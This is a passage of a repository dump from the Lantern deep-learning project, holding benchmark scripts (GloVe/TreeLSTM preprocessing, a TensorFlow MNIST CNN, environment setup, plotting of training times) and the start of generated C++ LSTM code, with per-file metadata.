'w', encoding='utf-8') as out:\n for line in f:\n line = line.strip()\n if not line: continue\n if line.split(u' ', 1)[0] in words:\n out.write(line + '\\n')\n ncount += 1\n print(\"Lantern: generating filtered_glove, taking %s lines\" % ncount)\n\n# if we already have the filtered file locally, then no need to filter again\nif not os.path.exists(filtered_glove_path):\n print(\"Lantern: need to filter the big 2G GOLVE file into a smaller subset file called %s\" % filtered_glove_path)\n filter_glove(words)\n\n# we also want to generate a file containing array[double] only, for Lantern to read.\n# also this function generates the word_idx, which is a mapping from word to index in the array[double]s\ndev_glove_path = os.path.join('./', 'small_glove.txt')\nprint(\"Lantern: now generate embedding file called %s and word_idx\" % dev_glove_path)\ndef filter_small_glove(words):\n nread = 0\n nwrote = 0\n word_idx = {}\n\n # first we need to figure out how many lines we will write\n ncount = 0\n with codecs.open(filtered_glove_path, encoding='utf-8') as f:\n with codecs.open(dev_glove_path, 'w', encoding='utf-8') as out:\n for line in f:\n line = line.strip()\n if not line: continue\n temp = line.split(u' ', 1)\n if temp[0] in words:\n ncount += 1\n # add a random row of 300 numbers for unseen words\n ncount += 1\n\n # then we actually write to the file\n with codecs.open(filtered_glove_path, encoding='utf-8') as f:\n with codecs.open(dev_glove_path, 'w', encoding='utf-8') as out:\n out.write(str(ncount) + '\\n') # write the number of entries in this file \n for line in f:\n nread += 1\n line = line.strip()\n if not line: continue\n temp = line.split(u' ', 1) \n if temp[0] in words:\n #out.write(temp[0] + ' ')\n out.write(temp[1] + '\\n')\n word_idx[temp[0]] = nwrote\n nwrote += 1\n # add a random row of 300 number, for unseen words\n rn = np.random.uniform(-0.05, 0.05, 300).astype(np.float32) \n for i in range(len(rn)):\n if i == len(rn) - 1: out.write(str(rn[i]) + '\\n')\n else: out.write(str(rn[i]) + ' ') \n print('Lantern: read %s lines, wrote %s' % (nread, nwrote + 1))\n return (nwrote), word_idx\n \n# filter Glove file and get word -> index relationship\nindex_unknown, word_idx = filter_small_glove(words)\n\n# parse samples so that we have tree encoded as arrays\ndef parseOneSample(data):\n\n def secondCompleteEnclosing(data, i):\n count = 0\n while (True):\n i += 1\n if data[i].endswith(')'):\n count -= (data[i].count(')') - 1)\n if count == 0:\n return (i+1)\n else: \n count += 1\n\n data_raw = data.split()\n data = []\n for i in range(len(data_raw)):\n if data_raw[i].endswith(')'):\n data[-1] = data[-1] + ' ' + data_raw[i]\n else:\n data.append(data_raw[i])\n\n scores = []\n values = []\n for i in data:\n scores.append(int(i[1:].split()[0]))\n if i.endswith(')'):\n entry = i.split()[-1].split(')')[0]\n if entry in word_idx.keys(): encode = word_idx[entry]\n else: encode = index_unknown\n values.append(encode)\n else:\n values.append(-1)\n \n lch = []\n rch = []\n for i in range(len(data)):\n if data[i].endswith(')'):\n lch.append(-1)\n rch.append(-1)\n else:\n lch.append(i+1)\n rch.append(secondCompleteEnclosing(data, i))\n # return the arrays\n return scores, values, lch, rch\n\n# parse samples in dev.txt file and write array_encode of trees to file\narray_tree_path = os.path.join('./', 'array_tree.txt')\ndef write_array_tree():\n # read target_file, for each line, call parseOneSample to get arrays\n i = 0\n with open(target_file, \"r\") as f:\n with open(array_tree_path, 'w') as out:\n out.write(str(num_tree) + '\\n')\n for line in f:\n arrays = parseOneSample(line)\n i += 1\n out.write(str(len(arrays[0])) + '\\n')\n for array in arrays:\n out.write(' '.join(str(item) for item in array) + '\\n')\n print(\"Lantern: wrote %s data entries to %s\" % (i, array_tree_path))\nwrite_array_tree()" }, { "alpha_fraction": 0.7633135914802551, "alphanum_fraction": 0.7869822382926941, "avg_line_length": 23.14285659790039, "blob_id": "f8f15573f309e07cb7c6e153f0957b1a8e5f0bc9", "content_id": "7d04f563d2742806390a8d0d0c83494f7c190cac", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 169, "license_type": "permissive", "max_line_length": 52, "num_lines": 7, "path": "/src/out/PLDI19evaluation/scripts/run_squeezenet.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n#scripts/run_squeezenet_once.sh 1\n#scripts/run_squeezenet_once.sh 2\n#scripts/run_squeezenet_once.sh 3\n\npython3 plot_stats.py SqueezeNet squeezenet/results/\n" }, { "alpha_fraction": 0.6093509197235107, "alphanum_fraction": 0.6392739415168762, "avg_line_length": 36.411521911621094, "blob_id": "4cf91491283807d95c421676c16f7f0a5f150c1a", "content_id": "0abdbe9f1b8884f73880674367b376a169fad4fa", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9090, "license_type": "permissive", "max_line_length": 110, "num_lines": 243, "path": "/src/out/ICFP18evaluation/evaluationCNN/TensorFlow/TensorFlow.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "# Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\n\"\"\"A deep MNIST classifier using convolutional layers.\n\nSee extensive documentation at\nhttps://www.tensorflow.org/get_started/mnist/pros\n\"\"\"\n# Disable linter warnings to maintain consistency with tutorial.\n# pylint: disable=invalid-name\n# pylint: disable=g-bad-import-order\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport sys\nimport tempfile\nimport time\n\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nimport tensorflow as tf\n\n#FLAGS = None\n\n\ndef deepnn(x):\n \"\"\"deepnn builds the graph for a deep net for classifying digits.\n\n Args:\n x: an input tensor with the dimensions (N_examples, 784), where 784 is the\n number of pixels in a standard MNIST image.\n\n Returns:\n A tuple (y, keep_prob). y is a tensor of shape (N_examples, 10), with values\n equal to the logits of classifying the digit into one of 10 classes (the\n digits 0-9). keep_prob is a scalar placeholder for the probability of\n dropout.\n \"\"\"\n # Reshape to use within a convolutional neural net.\n # Last dimension is for \"features\" - there is only one here, since images are\n # grayscale -- it would be 3 for an RGB image, 4 for RGBA, etc.\n with tf.name_scope('reshape'):\n x_image = tf.reshape(x, [-1, 28, 28, 1])\n\n # First convolutional layer - maps one grayscale image to 32 feature maps.\n with tf.name_scope('conv1'):\n W_conv1 = weight_variable([5, 5, 1, 10])\n h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1))\n\n # Pooling layer - downsamples by 2X.\n with tf.name_scope('pool1'):\n h_pool1 = max_pool_2x2(h_conv1)\n\n # Second convolutional layer -- maps 32 feature maps to 64.\n with tf.name_scope('conv2'):\n W_conv2 = weight_variable([5, 5, 10, 20])\n h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2))\n\n # Second pooling layer.\n with tf.name_scope('pool2'):\n h_pool2 = max_pool_2x2(h_conv2)\n\n # Fully connected layer 1 -- after 2 round of downsampling, our 28x28 image\n # is down to 7x7x64 feature maps -- maps this to 1024 features.\n with tf.name_scope('fc1'):\n W_fc1 = weight_variable([4 * 4 * 20, 50])\n b_fc1 = bias_variable([50])\n\n h_pool2_flat = tf.reshape(h_pool2, [-1, 4 * 4 * 20])\n h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\n\n # Dropout - controls the complexity of the model, prevents co-adaptation of\n # features.\n with tf.name_scope('dropout'):\n keep_prob = tf.placeholder(tf.float32)\n h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n\n # Map the 1024 features to 10 classes, one for each digit\n with tf.name_scope('fc2'):\n W_fc2 = weight_variable([50, 10])\n b_fc2 = bias_variable([10])\n\n y_conv = tf.matmul(h_fc1_drop, W_fc2) + b_fc2\n return y_conv, keep_prob\n\n\ndef conv2d(x, W):\n \"\"\"conv2d returns a 2d convolution layer with full stride.\"\"\"\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='VALID')\n\n\ndef max_pool_2x2(x):\n \"\"\"max_pool_2x2 downsamples a feature map by 2X.\"\"\"\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],\n strides=[1, 2, 2, 1], padding='SAME')\n\n\ndef weight_variable(shape):\n \"\"\"weight_variable generates a weight variable of a given shape.\"\"\"\n initial = tf.truncated_normal(shape, stddev=0.1)\n return tf.Variable(initial)\n\n\ndef bias_variable(shape):\n \"\"\"bias_variable generates a bias variable of a given shape.\"\"\"\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial)\n\ndef run(write_to):\n \n print(\"this is the start of reading data\")\n startTime = time.time()\n \n # Import data\n mnist = input_data.read_data_sets(args.data_dir)\n\n # Create the model\n x = tf.placeholder(tf.float32, [None, 784])\n\n # Define loss and optimizer\n y_ = tf.placeholder(tf.int64, [None])\n\n # Build the graph for the deep net\n y_conv, keep_prob = deepnn(x)\n\n with tf.name_scope('loss'):\n cross_entropy = tf.losses.sparse_softmax_cross_entropy(\n labels=y_, logits=y_conv)\n cross_entropy = tf.reduce_mean(cross_entropy)\n\n with tf.name_scope('adam_optimizer'):\n train_step = tf.train.GradientDescentOptimizer(args.lr).minimize(cross_entropy)\n\n with tf.name_scope('accuracy'):\n correct_prediction = tf.equal(tf.argmax(y_conv, 1), y_)\n correct_prediction = tf.cast(correct_prediction, tf.float32)\n accuracy = tf.reduce_mean(correct_prediction)\n\n #graph_location = tempfile.mkdtemp()\n #print('Saving graph to: %s' % graph_location)\n #train_writer = tf.summary.FileWriter(graph_location)\n #train_writer.add_graph(tf.get_default_graph())\n\n loopStart = time.time()\n loss_save = []\n with tf.Session(config=tf.ConfigProto(\n intra_op_parallelism_threads=1,\n inter_op_parallelism_threads=1)) as sess:\n sess.run(tf.global_variables_initializer())\n for epoch in range(args.epochs):\n train_accuracy = 0.0\n start = time.time() * 1000\n for i in range(60000 // args.batch_size):\n batch = mnist.train.next_batch(args.batch_size)\n _, loss = sess.run([train_step, cross_entropy], feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5})\n #print(loss)\n train_accuracy += loss\n #if (i + 1) % 60 == 0:\n # print('epoch %d: step %d, training loss %f' % (epoch + 1, i + 1, train_accuracy / (i * 100)))\n stop = time.time() * 1000\n print('Training completed in {}ms ({}ms/image)'.format(int(stop - start), (stop - start)/60000))\n average_loss = train_accuracy / (60000 / args.batch_size)\n print('average loss is %s' % average_loss)\n loss_save.append(average_loss)\n\n #start = time.time() * 1000\n #tloss = 0\n #tacc = 0\n #for i in range(100):\n # batch = mnist.test.next_batch(100)\n # loss, acc = sess.run([cross_entropy, accuracy], feed_dict={\n # x: batch[0], y_: batch[1], keep_prob: 1.0})\n # tloss += loss\n # tacc += acc\n #stop = time.time() * 1000\n\n #print('Epoch %d: test accuracy %d/10000. Average loss %f' % (epoch + 1, tacc, tloss / 10000))\n #print('Testing completed in {}ms ({}ms/image)'.format(int(stop - start), (stop - start)/10000))\n loopEnd = time.time()\n prepareTime = loopStart - startTime\n loopTime = loopEnd - loopStart\n timePerEpoch = loopTime / args.epochs\n\n with open(write_to, \"w\") as f:\n f.write(\"unit: \" + \"1 epoch\\n\")\n for loss in loss_save:\n f.write(str(loss) + \"\\n\")\n f.write(\"run time: \" + str(prepareTime) + \" \" + str(timePerEpoch) + \"\\n\")\n\n\nif __name__ == '__main__':\n # Training settings\n parser = argparse.ArgumentParser(description='PyTorch MNIST Example')\n parser.add_argument('--batch-size', type=int, default=100, metavar='N',\n help='input batch size for training (default: 64)')\n parser.add_argument('--test-batch-size', type=int, default=1000, metavar='N',\n help='input batch size for testing (default: 1000)')\n parser.add_argument('--epochs', type=int, default=10, metavar='N',\n help='number of epochs to train (default: 10)')\n parser.add_argument('--lr', type=float, default=0.05, metavar='LR',\n help='learning rate (default: 0.01)')\n parser.add_argument('--momentum', type=float, default=0.0, metavar='M',\n help='SGD momentum (default: 0.5)')\n parser.add_argument('--no-cuda', action='store_true', default=False,\n help='disables CUDA training')\n parser.add_argument('--seed', type=int, default=42, metavar='S',\n help='random seed (default: 1)')\n parser.add_argument('--log-interval', type=int, default=6000, metavar='N',\n help='how many batches to wait before logging training status')\n parser.add_argument('--data_dir', type=str,\n default='./input_data',\n help='Directory for storing input data')\n args = parser.parse_args()\n\n import os\n if not os.path.exists(args.data_dir):\n # only try to download the data here\n input_data.read_data_sets(args.data_dir) \n\n run(\"result_TensorFlow\"+str(args.batch_size)+\".txt\")\n\n#if __name__ == '__main__':\n# parser = argparse.ArgumentParser()\n# parser.add_argument('--data_dir', type=str,\n# default='/tmp/tensorflow/mnist/input_data',\n## help='Directory for storing input data')\n# FLAGS, unparsed = parser.parse_known_args()\n# tf.app.run(main=main, argv=[sys.argv[0]] + unparsed)" }, { "alpha_fraction": 0.5836092829704285, "alphanum_fraction": 0.5968543291091919, "avg_line_length": 34.52941131591797, "blob_id": "d13896973e9c6455097fe964e1e8b665f3f08204", "content_id": "5d72f35a0aa40d4d0824028ca097f75f6831aebd", "detected_licenses": [ "BSD-3-Clause", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1208, "license_type": "permissive", "max_line_length": 88, "num_lines": 34, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/src/setenvs.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport sys\n\nclass arglist:\n platform = 'knl'\n\ndef setenvs(inargv):\n args = arglist()\n for i in range(0, len(inargv) - 1):\n if inargv[i] == '--platform' :\n args.platform = inargv[i + 1]\n assert (args.platform == 'knl' or args.platform == 'bdw')\n # print 'Using platform ', args.platform\n # print 'Groups set to ', args.groups\n if (args.platform == 'bdw'):\n os.environ[\"KMP_BLOCKTIME\"] = \"1\"\n os.environ[\"KMP_SETTINGS\"] = \"1\"\n os.environ[\"OMP_NUM_THREADS\"] = \"8\"\n os.environ[\"MKL_NUM_THREADS\"] = \"8\"\n os.environ[\"OMP_DYNAMIC\"] = \"false\"\n os.environ[\"KMP_AFFINITY\"]= \"granularity=fine,verbose,compact,1,0\"\n else:\n os.environ[\"KMP_BLOCKTIME\"] = \"0\"\n os.environ[\"KMP_SETTINGS\"] = \"1\"\n os.environ[\"OMP_NUM_THREADS\"] = \"8\"\n os.environ[\"MKL_NUM_THREADS\"] = \"8\"\n os.environ[\"OMP_DYNAMIC\"] = \"false\"\n os.environ[\"KMP_AFFINITY\"] = \"granularity=fine,verbose,explicit,proclist=[4-67]\"\n # os.environ[\"KMP_AFFINITY\"] = \"granularity=core,verbose,scatter\"\n return args\n" }, { "alpha_fraction": 0.74842768907547, "alphanum_fraction": 0.7735849022865295, "avg_line_length": 21.714284896850586, "blob_id": "2cc76f955ae2ea4defc60f154394956c47c02dae", "content_id": "b99744713c6940a0f398d6574bc85a046e9ae2f3", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 159, "license_type": "permissive", "max_line_length": 48, "num_lines": 7, "path": "/src/out/PLDI19evaluation/scripts/run_treelstm.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n#scripts/run_treelstm_once.sh 1\n#scripts/run_treelstm_once.sh 2\n#scripts/run_treelstm_once.sh 3\n\npython3 plot_stats.py TreeLSTM treelstm/results/\n" }, { "alpha_fraction": 0.6344873309135437, "alphanum_fraction": 0.6498002409934998, "avg_line_length": 33.930233001708984, "blob_id": "1e9116807b2bb28d3d4f4c8f4c1588b31eab4288", "content_id": "324f3e3cf82175b65bb715381b1babb10bdf8844", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1502, "license_type": "permissive", "max_line_length": 136, "num_lines": 43, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-pytorch/pytorch/user_defined_input.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport pickle\nimport numpy as np\nimport struct\n\ndef unpickle(file):\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n\nclass Batch(object):\n\n def __init__(self, filename):\n self.dict = unpickle(filename)\n self.numBatches = self.dict[b'numBatches']\n self.batchSize = self.dict[b'batchSize']\n self.batchedData = self.dict[b'batchedData']\n self.current_batch = 0\n\n def batch(self, last=False):\n if last:\n (_, _, inputs, input_percentages, target_sizes, targets) = self.batchedData[199]\n else:\n (_, _, inputs, input_percentages, target_sizes, targets) = self.batchedData[self.current_batch]\n self.current_batch += 1\n if self.current_batch >= self.numBatches:\n self.current_batch = 0\n return inputs, targets, input_percentages, target_sizes\n\n def write_to_bin(self, input_file, target_file):\n with open(input_file, 'wb') as f:\n with open(target_file, 'wb') as g:\n x, y = self.batch()\n for by in x.reshape(-1).tolist():\n f.write(struct.pack('@f', by))\n for by in y.reshape(-1).tolist():\n g.write(struct.pack('@i', int(by)))\n\nif __name__ == '__main__':\n batch = Batch('../../cifar10_data/cifar-10-batches-py/data_batch_1', 64)\n batch.write_to_bin('../cifar10_data/cifar-10-batches-bin/small_batch_x.bin', '../cifar10_data/cifar-10-batches-bin/small_batch_y.bin')\n" }, { "alpha_fraction": 0.5943396091461182, "alphanum_fraction": 0.6176624894142151, "avg_line_length": 26.65217399597168, "blob_id": "544c444dc218f803237cfa6893b64c89470acec9", "content_id": "68d2c768c3c813d1760ca7318972284d25bbe298", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3816, "license_type": "permissive", "max_line_length": 96, "num_lines": 138, "path": "/src/out/PLDI19evaluation/plot_stats.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "import os\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport pylab\nimport matplotlib.pyplot as plt\nfrom os import listdir\nfrom os.path import isfile, join\n\ndef get_data(filename):\n #print(\"retrieving data from \" + filename)\n loss_save = []\n with open(filename, 'r') as f:\n for line in f:\n line = line.rstrip()\n if line.startswith(\"unit:\"):\n unit = line.split(':')[1]\n elif line.startswith(\"run time:\"):\n runtime = line.split(':')[1].split()\n assert(len(runtime) == 2)\n elif len(line) > 0:\n loss_save.append(float(line))\n return [unit, runtime, loss_save]\n\ndef getLabelFromFileName(filename):\n return filename.split('.')[0].split('_')[1]\n\ndef getColor(label):\n if label == 'Lantern':\n return '#1f78b4'\n if label == 'PyTorch':\n return '#b2df8a'\n if label == 'TensorFlow':\n return '#23901c'\n if label == 'TensorFold' or label == 'TensorFold20' or label == 'TF20':\n return '#23901c'\n if label == 'DyNet' or label == 'DyNetB':\n return '#a6cee3'\n if label == 'DyNetNB':\n return '#006600'\n else:\n print(\"NOTE: color not defined for label: %s\" % label)\n\ndef getOrder(label):\n if label == 'Lantern':\n return 1\n if label == 'PyTorch':\n return 2\n if label.startswith('T'):\n return 3\n if label == 'DyNetNB':\n return 4\n if label == 'DyNetB' or label == 'DyNet':\n return 5\n else:\n print(\"NOTE: order not defined for label: %s\" % label)\n\ndef plot(files, model):\n # save dir\n save_dir = 'save_fig/'\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n\n datas = {}\n labels = set()\n for file1 in files:\n label = getLabelFromFileName(file1)\n if label in datas:\n datas[label].append(get_data(file1))\n else:\n datas[label] = [get_data(file1)]\n labels.add(label)\n labels = [i for i in labels]\n labels = sorted(labels, key = lambda x: getOrder(x))\n print(labels)\n\n # accumulate data of loss\n losses = []\n for label in labels:\n losses.append(datas[label][2])\n # accumulate data of runtime\n prepareTimes = []\n prepStds = []\n loopTimes = []\n loopStds = []\n for label in labels:\n prepT = np.asarray([float(i[1][0]) for i in datas[label]])\n loopT = np.asarray([float(i[1][1]) for i in datas[label]])\n prepareTimes.append(prepT.mean())\n prepStds.append(prepT.std())\n loopTimes.append(loopT.mean())\n loopStds.append(loopT.std())\n print(loopTimes)\n print(loopStds)\n\n # get unit and other description\n unit = datas[labels[0]][0][0]\n print(unit)\n if (unit == ' 1 epoch'):\n steps = len(losses[0])\n step_desc = \"1 epoch\"\n else:\n steps = len(losses[0]) - 1\n temp = unit.split()\n step_desc = str(int(temp[0]) * steps) + \" \" + temp[1] + \"s\"\n\n # plot\n N = len(labels)\n fig, ax = plt.subplots()\n if N == 2: width = 8.5\n elif N == 3: width = 12\n else: width = 16\n fig.set_size_inches(width,8)\n ind = np.arange(1, N+1)\n\n ps = plt.bar(ind, loopTimes, yerr = loopStds, width = 0.5)\n for i in range(N):\n ps[i].set_facecolor(getColor(labels[i]))\n ax.set_xticks(ind)\n ax.set_xticklabels(labels, fontsize = 45)\n ax.tick_params(axis='y', labelsize = 30)\n ax.set_ylim([0, max(loopTimes) * 1.2])\n ax.set_ylabel(\"Seconds\", fontsize = 50)\n if step_desc == \"1 epoch\":\n # ax.set_title(\"{} training\\ntime per epoch\".format(model), fontsize = 50)\n ax.set_title(\"{}\".format(model), fontsize = 50)\n else:\n ax.set_title(\"{} training time in {}\".format(model, step_desc), fontsize = 50)\n print(\"save plot at {}\".format(save_dir + model + '.png'))\n plt.tight_layout()\n pylab.savefig(save_dir + model + '.png')\n\nif __name__ == \"__main__\":\n import sys\n model = sys.argv[1]\n resultsDir = sys.argv[2]\n allResults = [join(resultsDir, f) for f in listdir(resultsDir) if isfile(join(resultsDir, f))]\n plot(allResults, model)\n" }, { "alpha_fraction": 0.35861602425575256, "alphanum_fraction": 0.6559458374977112, "avg_line_length": 24.488496780395508, "blob_id": "d7f4fbe8b95e0455df3a18a7c427cbc1f2304a0c", "content_id": "56ec3fcdedc71d0bacf5f7464c95ef075df56a41", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 66475, "license_type": "permissive", "max_line_length": 114, "num_lines": 2608, "path": "/src/out/NIPS18evaluation/evaluationLSTM/Lantern.cpp", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#include <assert.h>\n#include <err.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <functional>\n#include <math.h>\n#include <memory>\n#include <random>\n#include <stdint.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <sys/time.h>\n#include <time.h>\n#include <unistd.h>\n#include <cblas.h>\n#include <algorithm>\n#include <numeric>\n\nusing namespace std;\n#ifndef MAP_FILE\n#define MAP_FILE MAP_SHARED\n#endif\n\nlong fsize(int fd) {\n struct stat stat;\n int res = fstat(fd, &stat);\n return stat.st_size;\n}\n\nint printll(char *s) {\n while (*s != '\\n' && *s != ',' && *s != '\\t') {\n putchar(*s++);\n }\n return 0;\n}\n\nlong hash(char *str0, int len) {\n unsigned char *str = (unsigned char *)str0;\n unsigned long hash = 5381;\n int c;\n\n while ((c = *str++) && len--)\n hash = ((hash << 5) + hash) + c; /* hash * 33 + c */\n\n return hash;\n}\n\nlong HEAP_SIZE_CPU = 1073741826; // 1048576; // 536870912; // 268435456; // 2097152; 1610612739; // 4294967304; //\nvoid *mallocBase = calloc(HEAP_SIZE_CPU, 1);\nvoid *mallocAddr = mallocBase;\nvoid *waterMark = mallocBase;\nvoid *myMalloc(size_t bytes) {\n void *res = mallocAddr;\n mallocAddr = (void *)((char *)mallocAddr + bytes);\n if ((long)mallocAddr >= (long)mallocBase + HEAP_SIZE_CPU)\n fprintf(stderr, \"CPU memory breached limit of HEAP_SIZE_CPU\\n\");\n return res;\n}\n\nlong HEAP_SIZE = 8589934608; // 4294967304; // this is for GPU\n\nint timeval_subtract(struct timeval *result, struct timeval *t2, struct timeval *t1) {\n long int diff = (t2->tv_usec + 1000000 * t2->tv_sec) - (t1->tv_usec + 1000000 * t1->tv_sec);\n result->tv_sec = diff / 1000000;\n result->tv_usec = diff % 1000000;\n return (diff < 0);\n}\n\n\n\nvoid Snippet(char *);\n\nstd::random_device rd{};\nstd::mt19937 gen{rd()};\nstd::normal_distribution<> d{0, 0.01};\n\nint main(int argc, char *argv[]) {\n if (argc != 2) {\n printf(\"usage: query <filename>\\n\");\n return 0;\n }\n Snippet(argv[1]);\n return 0;\n}\n\n/*****************************************\n Emitting C Generated Code \n*******************************************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdbool.h>\nvoid Snippet(char* x0) {\n// Backend setup.\ndouble x2 = ((double)clock() / CLOCKS_PER_SEC);\nint32_t x3 = open(\"graham.txt\",0);\nint64_t x4 = fsize(x3);\nint32_t x5 = (int32_t)x4;\nprintf(\"LSTM Test: >> data has %d chars\\n\",x5);\nint* x9 = (int32_t*)myMalloc(x5 * sizeof(int32_t));;\nint64_t x6 = (int64_t)x5;\nchar* x7 = (char*)mmap(0, x6, PROT_READ | PROT_WRITE, MAP_FILE | MAP_PRIVATE, x3, 0);\nfor(int x11=0; x11 < x5; x11++) {\nchar x12 = x7[x11];\nint32_t x13 = (int32_t ) x12;\nint32_t x14 = x13 - 96;\nx9[x11] = x14;\n\n}\nfloat* x18 = (float*)myMalloc(1300 * sizeof(float));;\nfor(int x20=0; x20 < 1300; x20++) {\nfloat x21 = (float)rand()/RAND_MAX;\nfloat x22 = x21 - 0.5f;\nfloat x23 = x22 * 0.19611613f;\nx18[x20] = x23;\n\n}\nfloat* x28 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x29 = (float*)myMalloc(2500 * sizeof(float));;\nfor(int x31=0; x31 < 2500; x31++) {\nfloat x32 = (float)rand()/RAND_MAX;\nfloat x33 = x32 - 0.5f;\nfloat x34 = x33 * 0.14142136f;\nx29[x31] = x34;\n\n}\nfloat* x38 = (float*)myMalloc(2500 * sizeof(float));;\nfloat* x39 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x40 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x41 = (float*)myMalloc(1300 * sizeof(float));;\nfor(int x42=0; x42 < 1300; x42++) {\nfloat x43 = (float)rand()/RAND_MAX;\nfloat x44 = x43 - 0.5f;\nfloat x45 = x44 * 0.19611613f;\nx41[x42] = x45;\n\n}\nfloat* x49 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x50 = (float*)myMalloc(2500 * sizeof(float));;\nfor(int x51=0; x51 < 2500; x51++) {\nfloat x52 = (float)rand()/RAND_MAX;\nfloat x53 = x52 - 0.5f;\nfloat x54 = x53 * 0.14142136f;\nx50[x51] = x54;\n\n}\nfloat* x58 = (float*)myMalloc(2500 * sizeof(float));;\nfloat* x59 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x60 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x61 = (float*)myMalloc(1300 * sizeof(float));;\nfor(int x62=0; x62 < 1300; x62++) {\nfloat x63 = (float)rand()/RAND_MAX;\nfloat x64 = x63 - 0.5f;\nfloat x65 = x64 * 0.19611613f;\nx61[x62] = x65;\n\n}\nfloat* x69 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x70 = (float*)myMalloc(2500 * sizeof(float));;\nfor(int x71=0; x71 < 2500; x71++) {\nfloat x72 = (float)rand()/RAND_MAX;\nfloat x73 = x72 - 0.5f;\nfloat x74 = x73 * 0.14142136f;\nx70[x71] = x74;\n\n}\nfloat* x78 = (float*)myMalloc(2500 * sizeof(float));;\nfloat* x79 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x80 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x81 = (float*)myMalloc(1300 * sizeof(float));;\nfor(int x82=0; x82 < 1300; x82++) {\nfloat x83 = (float)rand()/RAND_MAX;\nfloat x84 = x83 - 0.5f;\nfloat x85 = x84 * 0.19611613f;\nx81[x82] = x85;\n\n}\nfloat* x89 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x90 = (float*)myMalloc(2500 * sizeof(float));;\nfor(int x91=0; x91 < 2500; x91++) {\nfloat x92 = (float)rand()/RAND_MAX;\nfloat x93 = x92 - 0.5f;\nfloat x94 = x93 * 0.14142136f;\nx90[x91] = x94;\n\n}\nfloat* x98 = (float*)myMalloc(2500 * sizeof(float));;\nfloat* x99 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x100 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x101 = (float*)myMalloc(1300 * sizeof(float));;\nfor(int x102=0; x102 < 1300; x102++) {\nfloat x103 = (float)rand()/RAND_MAX;\nfloat x104 = x103 - 0.5f;\nfloat x105 = x104 * 0.14142136f;\nx101[x102] = x105;\n\n}\nfloat* x109 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x110 = (float*)myMalloc(26 * sizeof(float));;\nfloat* x111 = (float*)myMalloc(26 * sizeof(float));;\nfloat* x112 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x113 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x114 = (float*)myMalloc(2500 * sizeof(float));;\nfloat* x115 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x116 = (float*)myMalloc(2500 * sizeof(float));;\nfloat* x117 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x118 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x119 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x120 = (float*)myMalloc(2500 * sizeof(float));;\nfloat* x121 = (float*)myMalloc(26 * sizeof(float));;\nfloat* x122 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x123 = (float*)myMalloc(2500 * sizeof(float));;\nfloat* x124 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x125 = (float*)myMalloc(50 * 